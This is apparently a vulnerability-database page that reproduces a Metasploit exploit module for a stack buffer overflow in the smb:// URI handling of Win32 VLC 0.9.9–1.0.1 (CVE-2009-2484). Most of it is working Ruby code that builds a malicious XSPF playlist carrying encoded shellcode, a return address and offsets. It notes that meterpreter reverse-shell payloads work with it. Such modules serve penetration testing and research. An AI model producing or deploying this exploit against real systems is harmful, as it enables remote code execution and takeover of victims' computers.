VideoLAN Client (VLC) Win32 smb:// URI Buffer Overflow

2010-02-13T06:58:27
ID MSF:EXPLOIT/WINDOWS/FILEFORMAT/VLC_SMB_URI
Type metasploit
Reporter Rapid7
Modified 2017-09-14T02:03:34

Description

This module exploits a stack-based buffer overflow in the Win32AddConnection function of the VideoLAN VLC media player. Versions 0.9.9 through 1.0.1 are reportedly affected. This vulnerability is only present in Win32 builds of VLC. This payload was found to work with the windows/exec and windows/meterpreter/reverse_tcp payloads. However, the windows/meterpreter/reverse_ord_tcp was found not to work.

                                        
                                            ##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = GreatRanking

  include Msf::Exploit::FILEFORMAT

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'VideoLAN Client (VLC) Win32 smb:// URI Buffer Overflow',
      'Description'    => %q{
          This module exploits a stack-based buffer overflow in the Win32AddConnection
        function of the VideoLAN VLC media player. Versions 0.9.9 through 1.0.1 are
        reportedly affected.

        This vulnerability is only present in Win32 builds of VLC.

        This payload was found to work with the windows/exec and
        windows/meterpreter/reverse_tcp payloads. However, the
        windows/meterpreter/reverse_ord_tcp was found not to work.
      },
      'License'        => MSF_LICENSE,
      'Author' 	     => [ 'jduck' ],
      'References'     =>
        [
          [ 'BID', '35500' ],
          [ 'OSVDB', '55509' ],
          [ 'CVE', '2009-2484' ],
          [ 'URL', 'http://git.videolan.org/?p=vlc.git;a=commit;h=e60a9038b13b5eb805a76755efc5c6d5e080180f' ],
          [ 'EDB', '9029' ]
        ],
      'Payload'        =>
        {
          'Space'    => 1024,
          'BadChars' => "\x00",
          'DisableNops'    => true,
          'EncoderType'    => Msf::Encoder::Type::AlphanumMixed,
          'EncoderOptions' =>
            {
              'BufferRegister' => 'ESI',
            }
        },
      'Platform' => 'win',
      'Targets'        =>
        [
          [ 'vlc 0.9.9 on Windows XP SP3',
            # shellcode pointers @ esp + {0xa4,0xd0,0xdc,0xec,0x1ec}
            {
              'Readable' => 0x65414141, # points to nul bytes in libmod_plugin
              'Offset'   => 409,
              # libvout_directx_plugin.dll
              # add esp,0xcc / pop ebx / pop esi / pop edi / pop ebp / ret
              # esi is used as our buffer register, and also becomes eip
              # (there are two copies of the pointer on the stack)
              'Ret'      => 0x6b54543e,
            }
          ],
        ],
      'Privileged'     => false,
      'DisclosureDate' => 'Jun 24 2009',
      'DefaultTarget'  => 0))

    register_options(
      [
        OptString.new('FILENAME', [ true, 'The file name.',  'msf.xspf']),
      ])
  end

  def exploit

    template = %Q|<?xml version="1.0" encoding="UTF-8"?>
<playlist version="1" xmlns="http://xspf.org/ns/0/" xmlns:vlc="http://www.videolan.org/vlc/playlist/ns/0/">
<title>Playlist</title>
<trackList>
<track>
<location>REPLACE_ME</location>
<extension application="http://www.videolan.org/vlc/playlist/0">
<vlc:id>0</vlc:id>
</extension>
</track>
</trackList>
</playlist>
|

    readable = [target['Readable']].pack('V')

    # we'll model the memory layout post-overflow..
    #psz_remote = Rex::Text.pattern_create(2+260+1+260)
    psz_remote = rand_text_alphanumeric(target['Offset'] + 4)
    psz_remote[0,2] = "\\\\"
    psz_remote[2+260,1] = "\\"

    # some of this causes crashes in "WNetAddConnection2A" so we need to use
    # readable addresses... dodging the crashy derefs!
    # NOTE: some of these only occur in odd open scenarios (like drag/drop)
    psz_remote[263,4] = readable
    psz_remote[271,4] = readable
    psz_remote[325,4] = readable
    psz_remote[337,4] = readable

    # add the return addr in
    psz_remote[target['Offset'],4] = [target.ret].pack('V')

    # now we can split it and put it in the xml...
    host,share = psz_remote[2,psz_remote.length].split("\\")
    path = "smb://%s@%s/%s/" % [payload.encoded, host, share]
    sploit = template.gsub(/REPLACE_ME/, path)

    print_status("Creating '#{datastore['FILENAME']}' file ...")

    file_create(sploit)

  end
end